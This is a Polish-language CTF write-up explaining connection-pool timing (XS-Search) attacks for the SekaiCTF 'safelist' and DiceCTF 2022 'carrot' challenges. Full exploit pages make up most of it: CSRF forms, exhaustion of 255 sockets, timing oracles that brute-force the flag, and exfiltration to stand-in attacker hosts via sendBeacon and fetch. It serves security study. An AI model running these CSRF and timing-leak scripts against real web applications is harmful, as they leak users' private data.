W tym wyzwaniu celem jest wykradnięcie flagi, która pojawi się w sesji internetowej bota wewnątrz posta. Oto zasoby, które ma atakujący:
Bot będzie odwiedzałURL podany przez atakującego.
Atakujący może wstrzyknąć HTML na stronie (ale nie JS, używane jest dompurify), wykorzystując CSRF, aby bot utworzył post z tym HTML-em.
Atakujący może wykorzystać CSRF, aby bot usunął pierwszy post na stronie internetowej.
Ponieważ posty są uporządkowane alfabetycznie, gdy pierwszy post zostanie usunięty, jeśli treść HTML atakującego jest załadowana, oznacza to, że była alfabetycznie przed flagą.
Aby ukraść flagę, rozwiązanie zaproponowane przez @Strellyc_ polega na tym, że dla każdego znaku do przetestowania bot ma:
Utworzyć nowy post, który zaczyna się od znanego fragmentu flagi i kilku ładowań obrazów.
Usunąćpost na pozycji 0.
Zablokować 255 gniazd.
Załadować stronę z postami.
Wykonać 5 losowych żądań do strony (w tym przypadku example.com) i zmierzyć czas, jaki to zajmuje.
Jeśli usunięty post był flagą, oznacza to, że wszystkie wstrzyknięte obrazy w HTML będą konkurować z 5 losowymi żądaniami o to odblokowane gniazdo. Oznacza to, że zmierzony czas będzie większy niż w innych scenariuszach.
Jeśli usunięty post był HTML-em, 5 losowych żądań będzie szybszych, ponieważ nie będą musiały konkurować o to gniazdo z wstrzykniętym HTML-em.
<!-- Form to inject HTML code in the bots page --><formmethod="POST"action="https://safelist.ctf.sekai.team/create"id="create"target="_blank"><inputtype="text"name="text" /><inputtype="submit" /></form><!-- Form to delete the first entry --><formmethod="POST"action="https://safelist.ctf.sekai.team/remove"id="remove"target="_blank"><inputtype="text"name="index"value="0" /><inputtype="submit" /></form><script>// Attacker listeningconstWEBHOOK="https://WEBHOOK.com/";// Send data to attackerconstlog= (id, data) => {let payload =JSON.stringify({ known, alphabet, data });console.log(id, payload);navigator.sendBeacon(WEBHOOK+"?"+ id, payload);}// Similar to JQueryconst$=document.querySelector.bind(document);// Known part of the flagconstknown="SEKAI{";let alphabet ="_abcdefghijklmnopqrstuvwxyz}";// Reduce the alphabet using a hash (#) in the URLif (location.hash) {alphabet =alphabet.slice(alphabet.indexOf(location.hash.slice(1)));}// Funtion to leak charsconstleak=async (c) => {// Prepare post with known flag and the new charlet payload =`${known + c}`;// Inject as many <img as possible// you need to respect the CSP and create URLs that are differentfor(let i =0; payload.length<2048; i++) {payload +=`<img src=js/purify.js?${i.toString(36)}>`;}// Inject HTML$("#create input[type=text]").value = payload;$("#create").submit();awaitnewPromise(r =>setTimeout(r,1000));// Remove post with index 0$("#remove").submit();awaitnewPromise(r =>setTimeout(r,500));let deltas = [];// Try each char 3 timesfor (let i =0; i <3; i++) {constSOCKET_LIMIT=255;// you will need a custom server that works like num.sleepserver.com/sleep/delay// needed to freeze the blocked sockets, and they have to all be on different origins// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcardconstSLEEP_SERVER= i =>`http://${i}.sleepserver.com/sleep/60`;constblock=async (i, controller) => {try {returnfetch(SLEEP_SERVER(i), { mode:"no-cors", signal:controller.signal });}catch(err) {}};// block SOCKET_LIMIT socketsconstcontroller=newAbortController();for (let i =0; i <SOCKET_LIMIT; i++) {block(i, controller);}// Make the bot access the page with the postswindow.open("https://safelist.ctf.sekai.team/?"+Math.random().toString(36).slice(2),"pwn");awaitnewPromise(r =>setTimeout(r,500));// start meassuring time to perform 5 requestslet start =performance.now();awaitPromise.all([fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" }),fetch("https://example.com", { mode:"no-cors" })]);let delta =performance.now() - start;document.title = delta;controller.abort();log("test_"+ c +"_"+ i, delta);// Save time neededdeltas.push(delta);}return deltas;};// Check each charconstpwn=async () => {// Try to leak each characterfor(let i =0; i <alphabet.length; i++) {//Check the indicated charlet deltas =awaitleak(alphabet[i]);// Calculate mean time from requests to example.comlet avg =deltas.reduce((a,v) => a+v,0) /deltas.length;// If greater than 250, the HTML code was injected (flag in index 0)if (avg >250) {log("tests_pos_"+ alphabet[i], deltas)}// Flag in the pageelse {log("tests_neg_"+ alphabet[i], deltas)}}};window.onload=async () => {pwn();};</script>
<!DOCTYPEhtml><html><!--The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
If images are loading, the request to "/" is slower, otherwise faster.By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.We can use fetch to measure the request time.--><body><buttononclick="run()">start</button><formid=faction="http://localhost:1234/create"method="POST"target="_blank"><inputid=inpname="text"value=""></form><formid=f2action="http://localhost:1234/remove"method="POST"target="_blank"><inputid=inp2name="index"value=""></form><script>let flag ='SEKAI{'constTARGET='https://safelist.ctf.sekai.team'f.action =TARGET+'/create'f2.action =TARGET+'/remove'constsleep= ms =>newPromise(r =>setTimeout(r, ms))constsend= data =>fetch('http://server.ngrok.io?d='+data)constcharset='abcdefghijklmnopqrstuvwxyz'.split('')// start exploitlet count =0setTimeout(async () => {letL=0letR=charset.length-1while( (R-L)>3 ) {letM=Math.floor((L+R) /2)let c = charset[M]send('try_'+ flag + c)constfound=awaittestChar(flag + c)if (found) {L=M} else {R=M-1}}// fallback to linear since I am not familiar with binary search lolfor(let i=R; i>=L; i--) {let c = charset[i]send('try_'+ flag + c)constfound=awaittestChar(flag + c)if (found) {send('found: '+ flag+c)flag += cbreak}}},0)asyncfunctiontestChar(str) {returnnewPromise(resolve => {/*For 3350, you need to test it on your local to get this number.The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.*/inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()setTimeout(() => {run(str, resolve)},500)})}asyncfunctionrun(str, resolve) {// if the request is not enough, we can send more by opening more windowfor(let i=1; i<=5;i++) {window.open(TARGET)}let t =0constround=30setTimeout(async () => {for(let i=0; i<round; i++) {let s =performance.now()awaitfetch(TARGET+'/?test', {mode:'no-cors'}).catch(err=>1)let end =performance.now()t += end - sconsole.log(end - s)}constavg= t/roundsend(str +","+ t +","+"avg:"+ avg)/*I get this threshold(1000ms) by trying multiple times on remote admin botfor example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold*/constisFound= (t >=1000)if (isFound) {inp2.value ="0"} else {inp2.value ="1"}// remember to delete the post to not break our leak oraclef2.submit()setTimeout(() => {resolve(isFound)},200)},200)}</script></body></html>
DiceCTF 2022 - carrot
W tym przypadku pierwszym krokiem ataku było wykorzystanie CSRF w celu zmodyfikowania strony, na której znajduje się flaga, tak aby miała znacznie więcej treści (co skutkuje dłuższym czasem ładowania), a następnie wykorzystanie puli połączeń do pomiaru czasu dostępu do potencjalnej strony, na której może znajdować się flaga.
W ataku można zauważyć:
Wykorzystanie CSRF
Zajęcie wszystkich gniazd, oprócz jednego
Kalibracja odpowiedzi
Rozpoczęcie łamania siły poprzez dostęp do potencjalnej strony z flagą
Potencjalna strona zostanie odwiedzona, a jednocześnie zostanie również odwiedzony kontrolowany przez atakującego adres URL, aby sprawdzić, ile czasu zajmują oba żądania.
<h1>DiceCTF 2022 web/carrot</h1><p>Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created)</p>
<buttononclick="csrf()">do csrf</button><p>Step 2: XS-Search with <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">connection-pool timing leak</a>, we have to use window.open (LAX cookie)</p>
<buttononclick="popunder()">open popup</button><buttononclick="exhaust_sockets()">open 255 connections</button><buttononclick="oracle('dice{abc')">test search "abc" (slow)</button><buttononclick="oracle('dice{xxx')">test search "xxx" (fast)</button><br><br><h2id=output></h2><br><formid=xaction=""method="POST"style="display:none;"><inputtype="text"name="title"placeholder="title"><br><br><inputtype="number"name="priority"placeholder="priority"value=9999><br><br><textareaname="content"placeholder="content"rows="5"cols="20"></textarea><br><br><inputtype="submit"value="submit"></form><script>// this is send is used as loggingLOG='Starting'// 255 in normal chrome, 99 in headlessSOCKETLIMIT=255;// defaultTIMELIMIT=800;INSTANCE=''MYSERVER=`example.com`constsleep= (ms) => {returnnewPromise(resolve => {setTimeout(resolve, ms);});}consttime_fetch=async() => {let test_server_url =`https://${MYSERVER}/?${LOG}`;let start =window.performance.now();try {awaitfetch(test_server_url, {mode:'no-cors'});} catch (e) {console.log(e);}let end =window.performance.now();return end - start;}constfetch_sleep_long= (i) => {// 40s sleepreturnfetch(`https://${i}.${MYSERVER}/40sleep`, {mode:'no-cors'});}constfetch_sleep_short= (i) => {// 0.25s sleepreturnfetch(`https://${i}.${MYSERVER}/ssleep`, {mode:'no-cors'});}constblock_socket=async (i) => {fetch_sleep_long(i);// needed?awaitsleep(0);}constexhaust_sockets=async() => {let i =0for (; i <SOCKETLIMIT; i++) {block_socket(i);}console.log(`Used ${i} connections`);}consttimeit=async (url, popup) => {returnnewPromise(async (r) => {popup.location = url;// needed?awaitsleep(50)let val =awaittime_fetch()r(val)});}// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');
constalphabet='abcdefghijklmnopqrstuvwxyz}_'.split('');// const alphabet = 'abcdef}'.split('');constoracle=async (search) => {let url =`https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`let t =awaittimeit(url,WINBG)LOG=`${search}:${t}`console.log(`${search}:${t}`)return t >TIMELIMIT}constbrute=async (flag) => {for (constcharof alphabet) {if (awaitoracle(flag + char)) {return char;}}returnfalse;}constcalibrate=async () => {returnnewPromise(async (r) => {// slowlet url1 =`https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{`let t1 =awaittimeit(url1,WINBG)console.log(`slow:${t1}`)// fastlet url2 =`https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX`let t2 =awaittimeit(url2,WINBG)console.log(`fast:${t2}`)returnr((t1 + t2) /2)});}constexploit=async(flag ='') => {console.log('Starting')// dont go to fast plz :)console.log(`waiting 3s`)awaitsleep(3000)// exaust socketsawaitexhaust_sockets()awaitsleep(2000)LOG=`Calibrating`TIMELIMIT=awaitcalibrate()LOG=`TIMELIMIT:${TIMELIMIT}`console.log(`timelimit:${TIMELIMIT}`)awaitsleep(2000)let last;while (true) {last =awaitbrute(flag);if (last ===false) {return flag;}else {flag += last;output.innerText = flag;if(last ==='}'){return flag}}}}constpopunder= () => {if (window.opener) {WINBG=window.opener}else {WINBG=window.open(location.href, target="_blank")location =`about:blank`}}constcsrf=async () => {x.action =`https://carrot-${INSTANCE}.mc.ax/edit/0`x.title.value ="A".repeat(1000000)x.submit()}window.onload= () => {let p =newURL(location).searchParams;if(!p.has('i')){console.log(`no INSTANCE`)return}INSTANCE=p.get('i')// step 1if(p.has('csrf')){csrf()return}// step 2if (p.has('exploit')) {// window open is ok in headless :)popunder()exploit('dice{')}}</script>